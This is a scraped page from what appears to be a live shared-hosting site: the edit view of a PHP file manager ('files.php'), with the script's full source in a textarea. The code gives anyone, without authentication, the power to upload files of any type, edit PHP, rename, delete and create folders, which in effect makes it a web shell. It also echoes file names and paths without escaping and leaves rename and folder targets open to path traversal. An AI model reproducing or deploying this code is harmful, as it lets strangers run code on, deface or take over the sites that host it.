<h2>Editing File: files.php</h2><form method='POST'>
        <textarea name='content' style='width:100%;height:400px;'>&lt;?php
$path = isset($_GET[&#039;path&#039;]) ? $_GET[&#039;path&#039;] : &#039;.&#039;;
$path = realpath($path);
$baseDir = realpath(__DIR__);
if (strpos($path, $baseDir) !== 0) {
    die(&quot;Access Denied&quot;);
}

// Handle file upload
if (isset($_FILES[&#039;upload&#039;])) {
    $uploadPath = $path . &#039;/&#039; . basename($_FILES[&#039;upload&#039;][&#039;name&#039;]);
    move_uploaded_file($_FILES[&#039;upload&#039;][&#039;tmp_name&#039;], $uploadPath);
    header(&quot;Location: ?path=$path&quot;);
    exit;
}

// Handle folder creation
if (isset($_POST[&#039;new_folder&#039;])) {
    mkdir($path . &#039;/&#039; . $_POST[&#039;new_folder&#039;]);
    header(&quot;Location: ?path=$path&quot;);
    exit;
}

// Handle delete
if (isset($_GET[&#039;delete&#039;])) {
    $target = realpath($path . &#039;/&#039; . $_GET[&#039;delete&#039;]);
    if (strpos($target, $baseDir) === 0) {
        if (is_dir($target)) {
            rmdir($target);
        } else {
            unlink($target);
        }
    }
    header(&quot;Location: ?path=$path&quot;);
    exit;
}

// Handle rename
if (isset($_POST[&#039;rename_old&#039;]) &amp;&amp; isset($_POST[&#039;rename_new&#039;])) {
    $old = $path . &#039;/&#039; . $_POST[&#039;rename_old&#039;];
    $new = $path . &#039;/&#039; . $_POST[&#039;rename_new&#039;];
    if (strpos(realpath($old), $baseDir) === 0) {
        rename($old, $new);
    }
    header(&quot;Location: ?path=$path&quot;);
    exit;
}

// Handle file editing
if (isset($_GET[&#039;edit&#039;])) {
    $editFile = realpath($path . &#039;/&#039; . $_GET[&#039;edit&#039;]);
    if (strpos($editFile, $baseDir) !== 0 || !is_file($editFile)) {
        die(&quot;Invalid file&quot;);
    }

    if (isset($_POST[&#039;content&#039;])) {
        file_put_contents($editFile, $_POST[&#039;content&#039;]);
        header(&quot;Location: ?path=$path&quot;);
        exit;
    }

    $content = htmlspecialchars(file_get_contents($editFile));
    echo &quot;&lt;h2&gt;Editing File: &quot; . basename($editFile) . &quot;&lt;/h2&gt;&quot;;
    echo &quot;&lt;form method=&#039;POST&#039;&gt;
        &lt;textarea name=&#039;content&#039; style=&#039;width:100%;height:400px;&#039;&gt;$content&lt;/textarea&gt;&lt;br&gt;
        &lt;button type=&#039;submit&#039;&gt;💾 Save&lt;/button&gt;
        &lt;a href=&#039;?path=$path&#039;&gt;❌ Cancel&lt;/a&gt;
    &lt;/form&gt;&quot;;
    exit;
}

// List files and folders
$items = scandir($path);
echo &quot;&lt;h2&gt;File Manager: $path&lt;/h2&gt;&quot;;
echo &quot;&lt;a href=&#039;?path=&quot; . dirname($path) . &quot;&#039;&gt;⬅️ Back&lt;/a&gt;&lt;br&gt;&lt;br&gt;&quot;;

echo &quot;&lt;form method=&#039;POST&#039; enctype=&#039;multipart/form-data&#039;&gt;
    &lt;input type=&#039;file&#039; name=&#039;upload&#039;&gt;
    &lt;button type=&#039;submit&#039;&gt;Upload&lt;/button&gt;
&lt;/form&gt;&quot;;

echo &quot;&lt;form method=&#039;POST&#039;&gt;
    &lt;input type=&#039;text&#039; name=&#039;new_folder&#039; placeholder=&#039;New folder name&#039;&gt;
    &lt;button type=&#039;submit&#039;&gt;Create Folder&lt;/button&gt;
&lt;/form&gt;&lt;br&gt;&quot;;

echo &quot;&lt;table border=&#039;1&#039; cellpadding=&#039;5&#039;&gt;&quot;;
echo &quot;&lt;tr&gt;&lt;th&gt;Name&lt;/th&gt;&lt;th&gt;Actions&lt;/th&gt;&lt;/tr&gt;&quot;;
foreach ($items as $item) {
    if ($item == &#039;.&#039; || $item == &#039;..&#039;) continue;
    $itemPath = $path . &#039;/&#039; . $item;
    echo &quot;&lt;tr&gt;&lt;td&gt;&quot;;
    if (is_dir($itemPath)) {
        echo &quot;&lt;a href=&#039;?path=$itemPath&#039;&gt;📁 $item&lt;/a&gt;&quot;;
    } else {
        echo &quot;📄 $item&quot;;
    }
    echo &quot;&lt;/td&gt;&lt;td&gt;
        &lt;form method=&#039;POST&#039; style=&#039;display:inline&#039;&gt;
            &lt;input type=&#039;hidden&#039; name=&#039;rename_old&#039; value=&#039;$item&#039;&gt;
            &lt;input type=&#039;text&#039; name=&#039;rename_new&#039; placeholder=&#039;New name&#039;&gt;
            &lt;button type=&#039;submit&#039;&gt;Rename&lt;/button&gt;
        &lt;/form&gt;
        &lt;a href=&#039;?path=$path&amp;delete=$item&#039; onclick=&#039;return confirm(\&quot;Delete $item?\&quot;)&#039;&gt;🗑️ Delete&lt;/a&gt;&quot;;

    if (!is_dir($itemPath)) {
        $relativePath = str_replace($_SERVER[&#039;DOCUMENT_ROOT&#039;], &#039;&#039;, $itemPath);
        echo &quot; | &lt;a href=&#039;$relativePath&#039; download&gt;⬇️ Download&lt;/a&gt;&quot;;

        $ext = pathinfo($itemPath, PATHINFO_EXTENSION);
        $editableExts = [&#039;php&#039;, &#039;html&#039;, &#039;htm&#039;, &#039;txt&#039;, &#039;css&#039;, &#039;js&#039;];
        if (in_array(strtolower($ext), $editableExts)) {
            echo &quot; | &lt;a href=&#039;?path=$path&amp;edit=$item&#039;&gt;✏️ Edit&lt;/a&gt;&quot;;
        }
    }
    echo &quot;&lt;/td&gt;&lt;/tr&gt;&quot;;
}
echo &quot;&lt;/table&gt;&quot;;
?&gt;</textarea><br>
        <button type='submit'>💾 Save</button>
        <a href='?path=/home3/boattkbl/public_html'>❌ Cancel</a>
    </form>